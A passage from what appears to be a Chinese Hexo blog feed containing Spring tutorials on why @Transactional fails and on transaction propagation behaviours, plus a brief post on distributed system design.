orderDao.save(order);</span><br><span class="line">        self.updateStock();  <span class="comment">// 通过代理调用</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原因2：方法不是-public"><a href="#原因2：方法不是-public" class="headerlink" title="原因2：方法不是 public"></a>原因2：方法不是 public</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">updateStock</span><span class="params">()</span> &#123;  <span class="comment">// 非public，事务不生效！</span></span><br><span class="line">        stockDao.deduct(stock);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原理</strong>：Spring AOP 基于代理，非 public 方法无法被代理。</p><h2 id="原因3：异常被吃掉"><a href="#原因3：异常被吃掉" class="headerlink" title="原因3：异常被吃掉"></a>原因3：异常被吃掉</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            stockDao.deduct(stock);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// 异常被捕获，事务认为成功提交！</span></span><br><span class="line">            log.error(<span class="string">&quot;扣减库存失败&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="解决-1"><a href="#解决-1" class="headerlink" title="解决"></a>解决</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        stockDao.deduct(stock);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;扣减库存失败&quot;</span>, e);</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);  <span class="comment">// 重新抛出</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或手动回滚</span></span><br><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        stockDao.deduct(stock);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;扣减库存失败&quot;</span>, e);</span><br><span class="line">        TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原因4：rollbackFor-配置不当"><a href="#原因4：rollbackFor-配置不当" class="headerlink" title="原因4：rollbackFor 配置不当"></a>原因4：rollbackFor 配置不当</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span>  <span class="comment">// 默认只回滚 RuntimeException</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;错误&quot;</span>);  <span class="comment">// 非 RuntimeException，不回滚！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="解决-2"><a href="#解决-2" class="headerlink" title="解决"></a>解决</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span>  <span class="comment">// 指定回滚所有异常</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原因5：数据库引擎不支持事务"><a href="#原因5：数据库引擎不支持事务" class="headerlink" title="原因5：数据库引擎不支持事务"></a>原因5：数据库引擎不支持事务</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- MySQL MyISAM 引擎不支持事务</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">order</span> (...) ENGINE<span class="operator">=</span>MyISAM;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 应使用 InnoDB</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">order</span> (...) ENGINE<span class="operator">=</span>InnoDB;</span><br></pre></td></tr></table></figure><h2 id="原因6：事务管理器配置错误"><a href="#原因6：事务管理器配置错误" class="headerlink" title="原因6：事务管理器配置错误"></a>原因6：事务管理器配置错误</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableTransactionManagement</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Config</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> PlatformTransactionManager <span class="title function_">transactionManager</span><span class="params">(DataSource dataSource)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">DataSourceTransactionManager</span>(dataSource);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：</p><ul><li>使用了 JPA 但配置的是 DataSourceTransactionManager</li><li>多数据源时没指定 transactionManager</li></ul><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(transactionManager = &quot;orderTransactionManager&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h2 id="原因7：方法被-final-static-修饰"><a href="#原因7：方法被-final-static-修饰" class="headerlink" title="原因7：方法被 final/static 修饰"></a>原因7：方法被 final/static 修饰</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;  <span class="comment">// final 方法无法被 CGLIB 代理</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原因8：异步方法"><a href="#原因8：异步方法" class="headerlink" title="原因8：异步方法"></a>原因8：异步方法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="meta">@Async</span>  <span class="comment">// 事务和异步同时使用时可能有问题</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 异步执行时，原线程的事务上下文可能丢失</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="解决-3"><a href="#解决-3" class="headerlink" title="解决"></a>解决</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> OrderAsyncService asyncService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.save(order);</span><br><span class="line">        <span class="comment">// 事务提交后再异步</span></span><br><span class="line">        asyncService.sendMessage(order);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderAsyncService</span> &#123;</span><br><span class="line">    <span class="meta">@Async</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendMessage</span><span class="params">(Order order)</span> &#123;</span><br><span class="line">        <span class="comment">// 异步逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="事务失效排查清单"><a href="#事务失效排查清单" class="headerlink" title="事务失效排查清单"></a>事务失效排查清单</h2><table><thead><tr><th>检查项</th><th>正确做法</th></tr></thead><tbody><tr><td>调用方式</td><td>通过代理调用，避免同类 this 调用</td></tr><tr><td>方法修饰符</td><td>public</td></tr><tr><td>异常处理</td><td>不要吞掉异常，或手动 setRollbackOnly</td></tr><tr><td>rollbackFor</td><td>根据业务指定，建议 Exception.class</td></tr><tr><td>数据库引擎</td><td>InnoDB</td></tr><tr><td>事务管理器</td><td>与持久层框架匹配</td></tr><tr><td>final/static</td><td>避免</td></tr><tr><td>异步</td><td>分离事务和异步操作</td></tr></tbody></table><h2 id="调试技巧"><a href="#调试技巧" class="headerlink" title="调试技巧"></a>调试技巧</h2><p>#</p><h2 id="1-查看代理类"><a href="#1-查看代理类" class="headerlink" title="1. 查看代理类"></a>1. 查看代理类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">System.out.println(orderService.getClass());</span><br><span class="line"><span class="comment">// class com.example.OrderService$$EnhancerBySpringCGLIB$$</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-开启事务日志"><a href="#2-开启事务日志" class="headerlink" title="2. 开启事务日志"></a>2. 开启事务日志</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">logging.level.org.springframework.transaction=DEBUG</span><br><span class="line">logging.level.org.springframework.jdbc=DEBUG</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-断点调试"><a href="#3-断点调试" class="headerlink" title="3. 断点调试"></a>3. 断点调试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="comment">// 断点这里，查看 TransactionSynchronizationManager.isActualTransactionActive()</span></span><br><span class="line">    <span class="comment">// 返回 true 表示事务生效</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring 事务失效的原因大多与 AOP 代理机制有关：</p><ol><li><strong>同类调用</strong>：不走代理</li><li><strong>非 public</strong>：无法代理</li><li><strong>异常被吃</strong>：无法触发回滚</li><li><strong>rollbackFor 不当</strong>：非 RuntimeException 不回滚</li><li><strong>数据库引擎</strong>：MyISAM 不支持</li><li><strong>配置错误</strong>：事务管理器不匹配</li><li><strong>final/static</strong>：CGLIB 无法代理</li><li><strong>异步</strong>：事务上下文丢失</li></ol><p>理解这些原因，可以避免大部分事务问题。遇到事务失效时，按清单逐项排查即可。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成方案怎么选"><a href="#分布式-ID-生成方案怎么选" class="headerlink" title="分布式 ID 生成方案怎么选"></a>分布式 ID 生成方案怎么选</h1><p>分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring事务传播机制详解</title>
      <link href="//spring-shi-wu-chuan-bo-ji-zhi-xiang-jie/"/>
      <url>//spring-shi-wu-chuan-bo-ji-zhi-xiang-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring事务传播机制详解"><a href="#Spring事务传播机制详解" class="headerlink" title="Spring事务传播机制详解"></a>Spring事务传播机制详解</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="七种传播行为"><a href="#七种传播行为" class="headerlink" title="七种传播行为"></a>七种传播行为</h2><table><thead><tr><th>传播行为</th><th>含义</th></tr></thead><tbody><tr><td>REQUIRED</td><td>默认，当前有事务则加入，无则新建</td></tr><tr><td>SUPPORTS</td><td>有事务则加入，无则以非事务执行</td></tr><tr><td>MANDATORY</td><td>必须有事务，无则抛异常</td></tr><tr><td>REQUIRES_NEW</td><td>挂起当前事务，创建新事务</td></tr><tr><td>NOT_SUPPORTED</td><td>挂起当前事务，以非事务执行</td></tr><tr><td>NEVER</td><td>必须无事务，有则抛异常</td></tr><tr><td>NESTED</td><td>在当前事务中创建嵌套事务（savepoint）</td></tr></tbody></table><h2 id="REQUIRED（默认）"><a href="#REQUIRED（默认）" class="headerlink" title="REQUIRED（默认）"></a>REQUIRED（默认）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 当前无事务，创建新事务 T1</span></span><br><span class="line">        orderDao.insert(order);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 调用另一个事务方法</span></span><br><span class="line">        stockService.deductStock();  <span class="comment">// 加入 T1</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StockService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional(propagation = Propagation.REQUIRED)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">deductStock</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 已有事务 T1，加入</span></span><br><span class="line">        stockDao.update(stock);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">createOrder()</span><br><span class="line">    └── 事务 T1 开始</span><br><span class="line">        ├── orderDao.insert()  ← 在 T1 中</span><br><span class="line">        ├── deductStock()</span><br><span class="line">        │   └── stockDao.update()  ← 也在 T1 中</span><br><span class="line">        └── 事务 T1 提交/回滚（整体）</span><br></pre></td></tr></table></figure><h2 id="REQUIRES-NEW"><a href="#REQUIRES-NEW" class="headerlink" title="REQUIRES_NEW"></a>REQUIRES_NEW</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.insert(order);  <span class="comment">// 事务 T1</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 挂起 T1，创建新事务 T2</span></span><br><span class="line">        logService.saveLog();    <span class="comment">// 独立事务</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 恢复 T1</span></span><br><span class="line">        orderDao.update(order);  <span class="comment">// 回到 T1</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional(propagation = Propagation.REQUIRES_NEW)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">saveLog</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 新事务 T2</span></span><br><span class="line">        logDao.insert(log);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">createOrder()</span><br><span class="line">    └── 事务 T1 开始</span><br><span class="line">        ├── orderDao.insert()  ← T1</span><br><span class="line">        ├── saveLog()</span><br><span class="line">        │   ├── 挂起 T1</span><br><span class="line">        │   ├── 事务 T2 开始</span><br><span class="line">        │   ├── logDao.insert()  ← T2</span><br><span class="line">        │   └── 事务 T2 提交/回滚</span><br><span class="line">        ├── 恢复 T1</span><br><span class="line">        └── orderDao.update()  ← T1</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：日志记录、审计，即使主业务回滚也要保存。</p><h2 id="NESTED"><a href="#NESTED" class="headerlink" title="NESTED"></a>NESTED</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderDao.insert(order);  <span class="comment">// T1</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 创建 savepoint</span></span><br><span class="line">            paymentService.charge();  <span class="comment">// 嵌套事务</span></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// 只回滚到 savepoint，T1 继续</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        orderDao.update(order);  <span class="comment">// T1</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PaymentService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional(propagation = Propagation.NESTED)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">charge</span><span class="params">()</span> &#123;</span><br><span class="line">        paymentDao.insert(payment);</span><br><span class="line">        <span class="keyword">if</span> (payment.getAmount().compareTo(BigDecimal.ZERO) &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;金额不能为负&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">createOrder()</span><br><span class="line">    └── 事务 T1 开始</span><br><span class="line">        ├── orderDao.insert()  ← T1</span><br><span class="line">        ├── charge()</span><br><span class="line">        │   ├── savepoint SP1 创建</span><br><span class="line">        │   ├── paymentDao.insert()  ← 在 SP1 后</span><br><span class="line">        │   ├── 异常发生</span><br><span class="line">        │   └── 回滚到 SP1（T1 未回滚）</span><br><span class="line">        ├── 继续 T1</span><br><span class="line">        └── orderDao.update()  ← T1</span><br></pre></td></tr></table></figure><p><strong>NESTED vs REQUIRES_NEW</strong>：</p><table><thead><tr><th>特性</th><th>NESTED</th><th>REQUIRES_NEW</th></tr></thead><tbody><tr><td>事务关系</td><td>父子事务</td><td>独立事务</td></tr><tr><td>回滚影响</td><td>子回滚不影响父</td><td>互不影响</td></tr><tr><td>实现方式</td><td>Savepoint</td><td>挂起+新事务</td></tr><tr><td>提交</td><td>随父事务一起提交</td><td>独立提交</td></tr></tbody></table><h2 id="传播行为对比"><a href="#传播行为对比" class="headerlink" title="传播行为对比"></a>传播行为对比</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DemoService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">caller</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 场景1：REQUIRED（默认）</span></span><br><span class="line">        calleeRequired();  <span class="comment">// 加入当前事务</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景2：REQUIRES_NEW</span></span><br><span class="line">        calleeRequiresNew();  <span class="comment">// 新事务，挂起当前</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景3：NESTED</span></span><br><span class="line">        calleeNested();  <span class="comment">// 创建 savepoint</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景4：SUPPORTS</span></span><br><span class="line">        calleeSupports();  <span class="comment">// 有事务则加入，无则非事务</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景5：NOT_SUPPORTED</span></span><br><span class="line">        calleeNotSupported();  <span class="comment">// 挂起事务，非事务执行</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景6：MANDATORY</span></span><br><span class="line">        calleeMandatory();  <span class="comment">// 必须有事务，否则抛异常</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 场景7：NEVER</span></span><br><span class="line">        calleeNever();  <span class="comment">// 必须无事务，否则抛异常</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实际应用案例"><a href="#实际应用案例" class="headerlink" title="实际应用案例"></a>实际应用案例</h2><p>#</p><h2 id="案例1：订单创建（REQUIRED-REQUIRES-NEW）"><a href="#案例1：订单创建（REQUIRED-REQUIRES-NEW）" class="headerlink" title="案例1：订单创建（REQUIRED + REQUIRES_NEW）"></a>案例1：订单创建（REQUIRED + REQUIRES_NEW）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 1. 创建订单（主事务）</span></span><br><span class="line">        <span class="type">Order</span> <span class="variable">order</span> <span class="operator">=</span> orderDao.save(request.toOrder());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 扣减库存（主事务）</span></span><br><span class="line">        stockService.deduct(order.getSkuId(), order.getQuantity());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 记录日志（独立事务，失败不影响主业务）</span></span><br><span class="line">        logService.saveOperationLog(<span class="string">&quot;CREATE_ORDER&quot;</span>, order.getId());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 4. 发送消息（独立事务）</span></span><br><span class="line">        messageService.sendOrderCreatedMessage(order);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例2：部分回滚（NESTED）"><a href="#案例2：部分回滚（NESTED）" class="headerlink" title="案例2：部分回滚（NESTED）"></a>案例2：部分回滚（NESTED）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BatchService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchImport</span><span class="params">(List&lt;Data&gt; dataList)</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (Data data : dataList) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                importService.importSingle(data);  <span class="comment">// NESTED</span></span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                <span class="comment">// 单条失败，记录错误，继续处理下一条</span></span><br><span class="line">                errorLogService.save(data.getId(), e.getMessage());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="案例3：只读查询（SUPPORTS-NOT-SUPPORTED）"><a href="#案例3：只读查询（SUPPORTS-NOT-SUPPORTED）" class="headerlink" title="案例3：只读查询（SUPPORTS/NOT_SUPPORTED）"></a>案例3：只读查询（SUPPORTS/NOT_SUPPORTED）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReportService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional(propagation = Propagation.SUPPORTS, readOnly = true)</span></span><br><span class="line">    <span class="keyword">public</span> Report <span class="title function_">generateReport</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 如果调用方有事务，加入；无事务，非事务执行</span></span><br><span class="line">        <span class="keyword">return</span> reportDao.generate();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>#</p><h2 id="1-同类方法调用不生效"><a href="#1-同类方法调用不生效" class="headerlink" title="1. 同类方法调用不生效"></a>1. 同类方法调用不生效</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        saveLog();  <span class="comment">// 传播行为不生效！直接调用不走代理</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional(propagation = Propagation.REQUIRES_NEW)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">saveLog</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span 